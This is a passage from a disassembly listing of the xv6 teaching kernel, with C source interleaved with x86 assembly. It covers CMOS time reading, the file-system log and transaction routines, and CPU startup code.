80102825: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010282b: 8b 48 20 mov 0x20(%eax),%ecx lapic[index] = value; 8010282e: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102834: 8b 40 20 mov 0x20(%eax),%eax } 80102837: 5b pop %ebx 80102838: 5d pop %ebp 80102839: c3 ret 8010283a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102840 <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102840: 55 push %ebp 80102841: ba 70 00 00 00 mov $0x70,%edx 80102846: 89 e5 mov %esp,%ebp 80102848: b8 0b 00 00 00 mov $0xb,%eax 8010284d: 57 push %edi 8010284e: 56 push %esi 8010284f: 53 push %ebx 80102850: 83 ec 4c sub $0x4c,%esp 80102853: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102854: b2 71 mov $0x71,%dl 80102856: ec in (%dx),%al 80102857: 88 45 b7 mov %al,-0x49(%ebp) 8010285a: 8d 5d b8 lea -0x48(%ebp),%ebx struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 8010285d: 80 65 b7 04 andb $0x4,-0x49(%ebp) 80102861: 8d 7d d0 lea -0x30(%ebp),%edi 80102864: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102868: be 70 00 00 00 mov $0x70,%esi // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); 8010286d: 89 d8 mov %ebx,%eax 8010286f: e8 7c fd ff ff call 801025f0 <fill_rtcdate> 80102874: b8 0a 00 00 00 mov $0xa,%eax 80102879: 89 f2 mov %esi,%edx 8010287b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287c: ba 71 00 00 00 mov $0x71,%edx 80102881: ec in (%dx),%al if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102882: 84 c0 test %al,%al 80102884: 78 e7 js 8010286d <cmostime+0x2d> continue; fill_rtcdate(&t2); 80102886: 89 f8 mov %edi,%eax 80102888: e8 63 fd ff ff call 801025f0 <fill_rtcdate> if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010288d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 80102894: 00 80102895: 89 7c 24 04 mov %edi,0x4(%esp) 80102899: 89 1c 24 mov %ebx,(%esp) 8010289c: e8 4f 1a 00 00 call 801042f0 <memcmp> 801028a1: 85 c0 test %eax,%eax 801028a3: 75 c3 jne 80102868 <cmostime+0x28> break; } // convert if(bcd) { 801028a5: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 801028a9: 75 78 jne 80102923 <cmostime+0xe3> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 801028ab: 8b 45 b8 mov -0x48(%ebp),%eax 801028ae: 89 c2 mov %eax,%edx 801028b0: 83 e0 0f and $0xf,%eax 801028b3: c1 ea 04 shr $0x4,%edx 801028b6: 8d 14 92 lea (%edx,%edx,4),%edx 801028b9: 8d 04 50 lea (%eax,%edx,2),%eax 801028bc: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 801028bf: 8b 45 bc mov -0x44(%ebp),%eax 801028c2: 89 c2 mov %eax,%edx 801028c4: 83 e0 0f and $0xf,%eax 801028c7: c1 ea 04 shr $0x4,%edx 801028ca: 8d 14 92 lea (%edx,%edx,4),%edx 801028cd: 8d 04 50 lea (%eax,%edx,2),%eax 801028d0: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 801028d3: 8b 45 c0 mov -0x40(%ebp),%eax 801028d6: 89 c2 mov %eax,%edx 801028d8: 83 e0 0f and $0xf,%eax 801028db: c1 ea 04 shr $0x4,%edx 801028de: 8d 14 92 lea (%edx,%edx,4),%edx 801028e1: 8d 04 50 lea (%eax,%edx,2),%eax 801028e4: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 801028e7: 8b 45 c4 mov -0x3c(%ebp),%eax 801028ea: 89 c2 mov %eax,%edx 801028ec: 83 e0 0f and $0xf,%eax 801028ef: c1 ea 04 shr $0x4,%edx 801028f2: 8d 14 92 lea (%edx,%edx,4),%edx 801028f5: 8d 04 50 lea (%eax,%edx,2),%eax 801028f8: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 801028fb: 8b 45 c8 mov -0x38(%ebp),%eax 801028fe: 89 c2 mov %eax,%edx 80102900: 83 e0 0f and $0xf,%eax 80102903: c1 ea 04 shr $0x4,%edx 80102906: 8d 14 92 lea (%edx,%edx,4),%edx 80102909: 8d 04 50 lea (%eax,%edx,2),%eax 8010290c: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 8010290f: 8b 45 cc mov -0x34(%ebp),%eax 80102912: 89 c2 mov %eax,%edx 80102914: 83 e0 0f and $0xf,%eax 80102917: c1 ea 04 shr $0x4,%edx 8010291a: 8d 14 92 lea (%edx,%edx,4),%edx 8010291d: 8d 04 50 lea (%eax,%edx,2),%eax 80102920: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102923: 8b 4d 08 mov 0x8(%ebp),%ecx 80102926: 8b 45 b8 mov -0x48(%ebp),%eax 80102929: 89 01 mov %eax,(%ecx) 8010292b: 8b 45 bc mov -0x44(%ebp),%eax 8010292e: 89 41 04 mov %eax,0x4(%ecx) 80102931: 8b 45 c0 mov -0x40(%ebp),%eax 80102934: 89 41 08 mov %eax,0x8(%ecx) 80102937: 8b 45 c4 mov -0x3c(%ebp),%eax 8010293a: 89 41 0c mov %eax,0xc(%ecx) 8010293d: 8b 45 c8 mov -0x38(%ebp),%eax 80102940: 89 41 10 mov %eax,0x10(%ecx) 80102943: 8b 45 cc mov -0x34(%ebp),%eax 80102946: 89 41 14 mov %eax,0x14(%ecx) r->year += 2000; 80102949: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx) } 80102950: 83 c4 4c add $0x4c,%esp 80102953: 5b pop %ebx 80102954: 5e pop %esi 80102955: 5f pop %edi 80102956: 5d pop %ebp 80102957: c3 ret 80102958: 66 90 xchg %ax,%ax 8010295a: 66 90 xchg %ax,%ax 8010295c: 66 90 xchg %ax,%ax 8010295e: 66 90 xchg %ax,%ax 80102960 <install_trans>: } // Copy committed blocks from log to their home location static void install_trans(void) { 80102960: 55 push %ebp 80102961: 89 e5 mov %esp,%ebp 80102963: 57 push %edi 80102964: 56 push %esi 80102965: 53 push %ebx int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102966: 31 db xor %ebx,%ebx { 80102968: 83 ec 1c sub $0x1c,%esp for (tail = 0; tail < log.lh.n; tail++) { 8010296b: a1 c8 26 11 80 mov 0x801126c8,%eax 80102970: 85 c0 test %eax,%eax 80102972: 7e 78 jle 801029ec <install_trans+0x8c> 80102974: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102978: a1 b4 26 11 80 mov 0x801126b4,%eax 8010297d: 01 d8 add %ebx,%eax 8010297f: 83 c0 01 add $0x1,%eax 80102982: 89 44 24 04 mov %eax,0x4(%esp) 80102986: a1 c4 26 11 80 mov 0x801126c4,%eax 8010298b: 89 04 24 mov %eax,(%esp) 8010298e: e8 3d d7 ff ff call 801000d0 <bread> 80102993: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102995: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 8010299c: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 8010299f: 89 44 24 04 mov %eax,0x4(%esp) 801029a3: a1 c4 26 11 80 mov 0x801126c4,%eax 801029a8: 89 04 24 mov %eax,(%esp) 801029ab: e8 20 d7 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029b0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801029b7: 00 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029b8: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029ba: 8d 47 5c lea 0x5c(%edi),%eax 801029bd: 89 44 24 04 mov %eax,0x4(%esp) 801029c1: 8d 46 5c lea 0x5c(%esi),%eax 801029c4: 89 04 24 mov %eax,(%esp) 801029c7: e8 74 19 00 00 call 80104340 <memmove> bwrite(dbuf); // write dst to disk 801029cc: 89 34 24 mov %esi,(%esp) 801029cf: e8 cc d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 801029d4: 89 3c 24 mov %edi,(%esp) 801029d7: e8 04 d8 ff ff call 801001e0 <brelse> brelse(dbuf); 801029dc: 89 34 24 mov %esi,(%esp) 801029df: e8 fc d7 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 801029e4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 801029ea: 7f 8c jg 80102978 <install_trans+0x18> } } 801029ec: 83 c4 1c add $0x1c,%esp 801029ef: 5b pop %ebx 801029f0: 5e pop %esi 801029f1: 5f pop %edi 801029f2: 5d pop %ebp 801029f3: c3 ret 801029f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801029fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102a00 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102a00: 55 push %ebp 80102a01: 89 e5 mov %esp,%ebp 80102a03: 57 push %edi 80102a04: 56 push %esi 80102a05: 53 push %ebx 80102a06: 83 ec 1c sub $0x1c,%esp struct buf *buf = bread(log.dev, log.start); 80102a09: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a0e: 89 44 24 04 mov %eax,0x4(%esp) 80102a12: a1 c4 26 11 80 mov 0x801126c4,%eax 80102a17: 89 04 24 mov %eax,(%esp) 80102a1a: e8 b1 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a1f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102a25: 31 d2 xor %edx,%edx 80102a27: 85 db test %ebx,%ebx struct buf *buf = bread(log.dev, log.start); 80102a29: 89 c7 mov %eax,%edi hb->n = log.lh.n; 80102a2b: 89 58 5c mov %ebx,0x5c(%eax) 80102a2e: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102a31: 7e 17 jle 80102a4a <write_head+0x4a> 80102a33: 90 nop 80102a34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a38: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx 80102a3f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102a43: 83 c2 01 add $0x1,%edx 80102a46: 39 da cmp %ebx,%edx 80102a48: 75 ee jne 80102a38 <write_head+0x38> } bwrite(buf); 80102a4a: 89 3c 24 mov %edi,(%esp) 80102a4d: e8 4e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a52: 89 3c 24 mov %edi,(%esp) 80102a55: e8 86 d7 ff ff call 801001e0 <brelse> } 80102a5a: 83 c4 1c add $0x1c,%esp 80102a5d: 5b pop %ebx 80102a5e: 5e pop %esi 80102a5f: 5f pop %edi 80102a60: 5d pop %ebp 80102a61: c3 ret 80102a62: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102a69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a70 <initlog>: { 80102a70: 55 push %ebp 80102a71: 89 e5 mov %esp,%ebp 80102a73: 56 push %esi 80102a74: 53 push %ebx 80102a75: 83 ec 30 sub $0x30,%esp 80102a78: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102a7b: c7 44 24 04 80 70 10 movl $0x80107080,0x4(%esp) 80102a82: 80 80102a83: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102a8a: e8 e1 15 00 00 call 80104070 <initlock> readsb(dev, &sb); 80102a8f: 8d 45 dc lea -0x24(%ebp),%eax 80102a92: 89 44 24 04 mov %eax,0x4(%esp) 80102a96: 89 1c 24 mov %ebx,(%esp) 80102a99: e8 82 e9 ff ff call 80101420 <readsb> log.start = sb.logstart; 80102a9e: 8b 45 ec mov -0x14(%ebp),%eax log.size = sb.nlog; 80102aa1: 8b 55 e8 mov -0x18(%ebp),%edx struct buf *buf = bread(log.dev, log.start); 80102aa4: 89 1c 24 mov %ebx,(%esp) log.dev = dev; 80102aa7: 89 1d c4 26 11 80 mov %ebx,0x801126c4 struct buf *buf = bread(log.dev, log.start); 80102aad: 89 44 24 04 mov %eax,0x4(%esp) log.size = sb.nlog; 80102ab1: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102ab7: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102abc: e8 0f d6 ff ff call 801000d0 <bread> for (i = 0; i < log.lh.n; i++) { 80102ac1: 31 d2 xor %edx,%edx log.lh.n = lh->n; 80102ac3: 8b 58 5c mov 0x5c(%eax),%ebx 80102ac6: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102ac9: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102acb: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102ad1: 7e 17 jle 80102aea <initlog+0x7a> 80102ad3: 90 nop 80102ad4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = lh->block[i]; 80102ad8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx 80102adc: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102ae3: 83 c2 01 add $0x1,%edx 80102ae6: 39 da cmp %ebx,%edx 80102ae8: 75 ee jne 80102ad8 <initlog+0x68> brelse(buf); 80102aea: 89 04 24 mov %eax,(%esp) 80102aed: e8 ee d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102af2: e8 69 fe ff ff call 80102960 <install_trans> log.lh.n = 0; 80102af7: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102afe: 00 00 00 write_head(); // clear the log 80102b01: e8 fa fe ff ff call 80102a00 <write_head> } 80102b06: 83 c4 30 add $0x30,%esp 80102b09: 5b pop %ebx 80102b0a: 5e pop %esi 80102b0b: 5d pop %ebp 80102b0c: c3 ret 80102b0d: 8d 76 00 lea 0x0(%esi),%esi 80102b10 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b10: 55 push %ebp 80102b11: 89 e5 mov %esp,%ebp 80102b13: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80102b16: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b1d: e8 be 16 00 00 call 801041e0 <acquire> 80102b22: eb 18 jmp 80102b3c <begin_op+0x2c> 80102b24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b28: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp) 80102b2f: 80 80102b30: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b37: e8 c4 10 00 00 call 80103c00 <sleep> if(log.committing){ 80102b3c: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b41: 85 c0 test %eax,%eax 80102b43: 75 e3 jne 80102b28 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b45: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b4a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b50: 83 c0 01 add $0x1,%eax 80102b53: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b56: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b59: 83 fa 1e cmp $0x1e,%edx 80102b5c: 7f ca jg 80102b28 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b5e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.outstanding += 1; 80102b65: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b6a: e8 e1 16 00 00 call 80104250 <release> break; } } } 80102b6f: c9 leave 80102b70: c3 ret 80102b71: eb 0d jmp 80102b80 <end_op> 80102b73: 90 nop 80102b74: 90 nop 80102b75: 90 nop 80102b76: 90 nop 80102b77: 90 nop 80102b78: 90 nop 80102b79: 90 nop 80102b7a: 90 nop 80102b7b: 90 nop 80102b7c: 90 nop 80102b7d: 90 nop 80102b7e: 90 nop 80102b7f: 90 nop 80102b80 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102b80: 55 push %ebp 80102b81: 89 e5 mov %esp,%ebp 80102b83: 57 push %edi 80102b84: 56 push %esi 80102b85: 53 push %ebx 80102b86: 83 ec 1c sub $0x1c,%esp int do_commit = 0; acquire(&log.lock); 80102b89: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b90: e8 4b 16 00 00 call 801041e0 <acquire> log.outstanding -= 1; 80102b95: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102b9a: 8b 15 c0 26 11 80 mov 0x801126c0,%edx log.outstanding -= 1; 80102ba0: 83 e8 01 sub $0x1,%eax if(log.committing) 80102ba3: 85 d2 test %edx,%edx log.outstanding -= 1; 80102ba5: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102baa: 0f 85 f3 00 00 00 jne 80102ca3 <end_op+0x123> panic("log.committing"); if(log.outstanding == 0){ 80102bb0: 85 c0 test %eax,%eax 80102bb2: 0f 85 cb 00 00 00 jne 80102c83 <end_op+0x103> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bb8: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) } static void commit() { if (log.lh.n > 0) { 80102bbf: 31 db xor %ebx,%ebx log.committing = 1; 80102bc1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102bc8: 00 00 00 release(&log.lock); 80102bcb: e8 80 16 00 00 call 80104250 <release> if (log.lh.n > 0) { 80102bd0: a1 c8 26 11 80 mov 0x801126c8,%eax 80102bd5: 85 c0 test %eax,%eax 80102bd7: 0f 8e 90 00 00 00 jle 80102c6d <end_op+0xed> 80102bdd: 8d 76 00 lea 0x0(%esi),%esi struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102be0: a1 b4 26 11 80 mov 0x801126b4,%eax 80102be5: 01 d8 add %ebx,%eax 80102be7: 83 c0 01 add $0x1,%eax 80102bea: 89 44 24 04 mov %eax,0x4(%esp) 80102bee: a1 c4 26 11 80 mov 0x801126c4,%eax 80102bf3: 89 04 24 mov %eax,(%esp) 80102bf6: e8 d5 d4 ff ff call 801000d0 <bread> 80102bfb: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102bfd: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 80102c04: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c07: 89 44 24 04 mov %eax,0x4(%esp) 80102c0b: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c10: 89 04 24 mov %eax,(%esp) 80102c13: e8 b8 d4 ff ff call 801000d0 <bread> memmove(to->data, from->data, BSIZE); 80102c18: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102c1f: 00 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c20: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c22: 8d 40 5c lea 0x5c(%eax),%eax 80102c25: 89 44 24 04 mov %eax,0x4(%esp) 80102c29: 8d 46 5c lea 0x5c(%esi),%eax 80102c2c: 89 04 24 mov %eax,(%esp) 80102c2f: e8 0c 17 00 00 call 80104340 <memmove> bwrite(to); // write the log 80102c34: 89 34 24 mov %esi,(%esp) 80102c37: e8 64 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c3c: 89 3c 24 mov %edi,(%esp) 80102c3f: e8 9c d5 ff ff call 801001e0 <brelse> brelse(to); 80102c44: 89 34 24 mov %esi,(%esp) 80102c47: e8 94 d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102c4c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c52: 7c 8c jl 80102be0 <end_op+0x60> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c54: e8 a7 fd ff ff call 80102a00 <write_head> install_trans(); // Now install writes to home locations 80102c59: e8 02 fd ff ff call 80102960 <install_trans> log.lh.n = 0; 80102c5e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c65: 00 00 00 write_head(); // Erase the transaction from the log 80102c68: e8 93 fd ff ff call 80102a00 <write_head> acquire(&log.lock); 80102c6d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c74: e8 67 15 00 00 call 801041e0 <acquire> log.committing = 0; 80102c79: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102c80: 00 00 00 wakeup(&log); 80102c83: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c8a: e8 01 11 00 00 call 80103d90 <wakeup> release(&log.lock); 80102c8f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c96: e8 b5 15 00 00 call 80104250 <release> } 80102c9b: 83 c4 1c add $0x1c,%esp 80102c9e: 5b pop %ebx 80102c9f: 5e pop %esi 80102ca0: 5f pop %edi 80102ca1: 5d pop %ebp 80102ca2: c3 ret panic("log.committing"); 80102ca3: c7 04 24 84 70 10 80 movl $0x80107084,(%esp) 80102caa: e8 b1 d6 ff ff call 80100360 <panic> 80102caf: 90 nop 80102cb0 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102cb0: 55 push %ebp 80102cb1: 89 e5 mov %esp,%ebp 80102cb3: 53 push %ebx 80102cb4: 83 ec 14 sub $0x14,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102cb7: a1 c8 26 11 80 mov 0x801126c8,%eax { 80102cbc: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102cbf: 83 f8 1d cmp $0x1d,%eax 80102cc2: 0f 8f 98 00 00 00 jg 80102d60 <log_write+0xb0> 80102cc8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx 80102cce: 8d 51 ff lea -0x1(%ecx),%edx 80102cd1: 39 d0 cmp %edx,%eax 80102cd3: 0f 8d 87 00 00 00 jge 80102d60 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102cd9: a1 bc 26 11 80 mov 0x801126bc,%eax 80102cde: 85 c0 test %eax,%eax 80102ce0: 0f 8e 86 00 00 00 jle 80102d6c <log_write+0xbc> panic("log_write outside of trans"); acquire(&log.lock); 80102ce6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ced: e8 ee 14 00 00 call 801041e0 <acquire> for (i = 0; i < log.lh.n; i++) { 80102cf2: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102cf8: 83 fa 00 cmp $0x0,%edx 80102cfb: 7e 54 jle 80102d51 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102cfd: 8b 4b 08 mov 0x8(%ebx),%ecx for (i = 0; i < log.lh.n; i++) { 80102d00: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102d02: 39 0d cc 26 11 80 cmp %ecx,0x801126cc 80102d08: 75 0f jne 80102d19 <log_write+0x69> 80102d0a: eb 3c jmp 80102d48 <log_write+0x98> 80102d0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102d10: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102d17: 74 2f je 80102d48 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102d19: 83 c0 01 add $0x1,%eax 80102d1c: 39 d0 cmp %edx,%eax 80102d1e: 75 f0 jne 80102d10 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102d20: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d27: 83 c2 01 add $0x1,%edx 80102d2a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102d30: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102d33: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102d3a: 83 c4 14 add $0x14,%esp 80102d3d: 5b pop %ebx 80102d3e: 5d pop %ebp release(&log.lock); 80102d3f: e9 0c 15 00 00 jmp 80104250 <release> 80102d44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = b->blockno; 80102d48: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102d4f: eb df jmp 80102d30 <log_write+0x80> 80102d51: 8b 43 08 mov 0x8(%ebx),%eax 80102d54: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102d59: 75 d5 jne 80102d30 <log_write+0x80> 80102d5b: eb ca jmp 80102d27 <log_write+0x77> 80102d5d: 8d 76 00 lea 0x0(%esi),%esi panic("too big a transaction"); 80102d60: c7 04 24 93 70 10 80 movl $0x80107093,(%esp) 80102d67: e8 f4 d5 ff ff call 80100360 <panic> panic("log_write outside of trans"); 80102d6c: c7 04 24 a9 70 10 80 movl $0x801070a9,(%esp) 80102d73: e8 e8 d5 ff ff call 80100360 <panic> 80102d78: 66 90 xchg %ax,%ax 80102d7a: 66 90 xchg %ax,%ax 80102d7c: 66 90 xchg %ax,%ax 80102d7e: 66 90 xchg %ax,%ax 80102d80 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102d80: 55 push %ebp 80102d81: 89 e5 mov %esp,%ebp 80102d83: 53 push %ebx 80102d84: 83 ec 14 sub $0x14,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102d87: e8 f4 08 00 00 call 80103680 <cpuid> 80102d8c: 89 c3 mov %eax,%ebx 80102d8e: e8 ed 08 00 00 call 80103680 <cpuid> 80102d93: 89 5c 24 08 mov %ebx,0x8(%esp) 80102d97: c7 04 24 c4 70 10 80 movl $0x801070c4,(%esp) 80102d9e: 89 44 24 04 mov %eax,0x4(%esp) 80102da2: e8 a9 d8 ff ff call 80100650 <cprintf> idtinit(); // load idt register 80102da7: e8 d4 26 00 00 call 80105480 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102dac: e8 4f 08 00 00 call 80103600 <mycpu> 80102db1: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102db3: b8 01 00 00 00 mov $0x1,%eax 80102db8: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102dbf: e8 9c 0b 00 00 call 80103960 <scheduler> 80102dc4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102dca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102dd0 <mpenter>: { 80102dd0: 55 push %ebp 80102dd1: 89 e5 mov %esp,%ebp 80102dd3: 83 ec 08 sub $0x8,%esp switchkvm(); 80102dd6: e8 65 37 00 00 call 80106540 <switchkvm> seginit(); 80102ddb: e8 a0 36 00 00 call 80106480 <seginit> lapicinit(); 80102de0: e8 8b f8 ff ff call 80102670 <lapicinit> mpmain(); 80102de5: e8 96 ff ff ff call 80102d80 <mpmain> 80102dea: 66 90 xchg %ax,%ax 80102dec: 66 90 xchg %ax,%ax 80102dee: 66 90 xchg %ax,%ax 80102df0 <main>: { 80102df0: 55 push %ebp 80102df1: 89 e5 mov %esp,%ebp 80102df3: 53 push %ebx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102df4: bb 80 27 11 80 mov $0x80112780,%ebx { 80102df9: 83 e4 f0 and $0xfffffff0,%esp 80102dfc: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102dff: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 80102e06: 80 80102e07: c7 04 24 a8 54 11 80 movl $0x801154a8,(%esp) 80102e0e: e8 cd f5 ff ff call 801023e0 <kinit1> kvmalloc(); // kernel page table 80102e13: e8 b8 3b 00 00 call 801069d0 <kvmalloc> mpinit(); // detect other processors 80102e18: e8 73 01 00 00 call 80102f90 <mpinit> 80102e1d: 8d 76 00 lea 0x0(%esi),%esi lapicinit(); // interrupt controller 80102e20: e8 4b f8 ff ff call 80102670 <lapicinit> seginit(); // segment descriptors 80102e25: e8 56 36 00 00 call 80106480 <seginit> picinit(); // disable pic 80102e2a: e8 21 03 00 00 call 80103150 <picinit> 80102e2f: 90 nop ioapicinit(); // another interrupt controller 